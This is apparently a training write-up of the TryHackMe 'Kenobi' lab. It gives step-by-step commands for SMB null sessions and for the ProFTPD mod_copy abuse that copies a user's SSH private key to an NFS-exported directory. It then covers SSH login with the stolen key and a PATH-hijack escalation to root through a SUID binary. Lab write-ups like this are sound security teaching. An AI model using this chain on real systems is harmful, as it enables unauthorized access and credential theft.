Today we will be attacking the machine Kenobi.
First let’s start off by running our favorite port scanner, Nmap.
Nmap –p- -sV –T4 –reason 10.10.66.245
-p- will scan all the TCP ports
-sV will do service enumeration for ports open
-T4 second fastest scan
–reason tells you why it thinks ports are open
Now we can answer our first question how many ports are open, except since we scanned all the ports, we found some higher number ports open. They wanted you to only scan the top 1000, so the answer is 7, even though we actually see 11 open. To get the proper answer just don’t specify -p- which by default will scan the top 1000 ports.
We have some SMB ports open, maybe we can connect to these shares. We can try to connect with a tool called smbmclient. This tools can try to mount shares without using a username or password, this is called attempting a null session.
For the command we need to escape the backslashes so that’s why you will see double the amount you would normally see when you simply connect to a share. We will use the –L option to list out the shares. When prompted for a password just hit enter.
Smbclient –L \\\\10.10.66.245\\
Now we can try to connect to the various shares using a null session. This will try to authenticate with a blank username and allows us to possible connect to the shares.
Smbclient –U “” \\\\10.10.66.245\\print$
Smbclient –U “” \\\\10.10.66.245\\anonymous
Smbclient –U “” \\\\10.10.66.245\\IPC$
Looks like we can access the shares IPC$ and anonymous. Let’s use ls to explore the shares. Turns out we can’t list the files on IPC$ share, so let’s look at anonymous.
We can now answer the question about the file that we found. A good trick to know is that we can download all the files within a share by running the command below once you are connected to SMB using SMBCLIENT.
smbget -R smb://<ip>Sharename
For this we can just grab the one file using mget.
mget log.txt
y
exit
cat log.txt
Looks like we have some information around SSH, but the next question is about FTP. Scroll down in the file and see that the server is running FTP on port 21. We can also answer this from our Nmap scan above.
Let’s run nmap against the file share to see if we can enumerate the mount point.
nmap -p111 –script=nfs-ls,nfs-statfs,nfs-showmount 10.1.66.245
Here we are running various scripts that Nmap has against port 111.
Looks like we can see var. Normally web servers are hosted in /var/www. Maybe someone just shared one directory too high.
Now let’s move back over to the FTP server and see if we can connect to it.
ftp 10.10.66.245
We are asked for a username and password, but we don’t have those. We have learned some valuable information here though, look at the version number of the FTP server. Maybe it’s an old server with an exploit available that will let us in.
Answer the question around version number of the FTP server. Now it asks us how many exploits that are for ProFTPD 1.3.5. We can use searchsploit to find exploits for us. These are already on your computer, and they aren’t Metasploit, which is good for when you take the OSCP. Also try to find multiple ways to exploit the machine, or just look for the non Metasploit version. Remember it’s fine to use Metasploit it’s a great tool, but if you are planning on taking the OSCP at some point, you only get to use Metasploit on 1 of the machines you have to compromise. Searchsploit is a great tool for looking for exploit during your OSCP exam, since you are limited to one use of Metasploit.
Now we need to copy Kenobi’s private key over to /var/tmp directory. Looks like there’s a module in ProFTPd called mod_copy. We can use SITE CPFR/CPTO commands to copy files to a path we choose. (https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_modcopy_exec/)
Reference to the SITE commands (http://www.proftpd.org/docs/contrib/mod_copy.html)
Let’s login to the server and try to copy the id_rsa file into /var, since we can see var, which means we should be able to mount it.
I was able to confirm that /var/tmp/ was a directory on the system using the SITE CPTO /vat/tmp/ command. We can use netcat to connect to the machine on port 21. Then we can run the commands.
nc 10.10.53.11 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/
This told us it was a valid directory, now copy the file to that directory.
The commands have to be run in order, so we need to rerun the first command.
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
Now if we mount the var directory we should be able to get the id_rsa file. We couldn’t directly copy it to /var, because the permissions were denied.
Earlier we saw nfs showed us a share we could mount, so let’s mount that.
sudo mount 10.10.53.11:/var/ /mnt/Kenobi
/mnt/Kenobi is a directory I made on my Kali machine.
Now explore the directories, remember we copied the id_rsa file into /var/tmp/
We can cat the file and see it’s a private key, let’s try to login!
Let’s copy this file off onto our local machine, instead of the mount, so we can modify the permissions.
cp id_rsa /home/hacker/Desktop/TryHackMe/Kenobi
cd /home/hacker/Desktop/TryHackMe/Kenobi
chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.53.11
The -i option in the ssh command tells the system to use the private key, instead of a password. We use the chmod command because we need stricter permissions on ssh private key files to login. Otherwise Linux will tell us to make it make secure.
Woohoo we are in! Now go ahead and cat the flag located at /home/kenobi/user.txt
Now let’s escalate to root!
The first thing I tried was running sudo -l to see if we could run any commands as root, sadly we need a password for that. Looking around the file system nothing stood out, let’s see if there are any SUID binaries.
SUID binaries are those with the setuid bit set on them. When this it set the binary will run as root, but users can still run the binaries. You might say well why would we do this. First, some binaries require these sudo permissions to function properly. Take the ping command as an example. To open a socket for ping to use it needs to run as root. Now you have probably never run sudo ping, but when you are running ping it has the setuid bit set, so it is running as root. Second in normal environments some users may need to run certain binaries as higher privilege, but don’t need access to run commands as root.
To find the SUID binaries I ran the following command on my kali box and the kenobi box to see where the differences were.
find / -perm -4000 2>/dev/null
This uses the find command to look for the permissions where SETUID is set and hides all the errors. I hadn’t heard of /usr/bin/menu, so I started there.
It looks like we can run some commands from here, if we enter 1, 2, or 3 we can view the status, kernel version and run ifconfig.
Running strings on the file shows us the commands it actually runs. We could go open this in something like ghidra to reverse engineer it, but strings works better in this case for a quick check.
What we notice above is that the files are not being called with their full path, for example /usr/bin/cat. So the system will go through the path variables to find that program. By changing our path, we can tell menu to open
export PATH=/tmp:$PATH puts the /tmp path as the first place a binary will look when it needs to run any binaries. Since we copy /bin/sh into a program we call curl when we choose the 2nd option we get our shell. We could make it any directory we have write access to, I chose /tmp simply because it was easy. You could use /home/kenobi as well as a handful of others where the user kenobi has write permissions.
Thanks for joining me on our adventure to root! Hope you learned something new, remember to keep Hacking!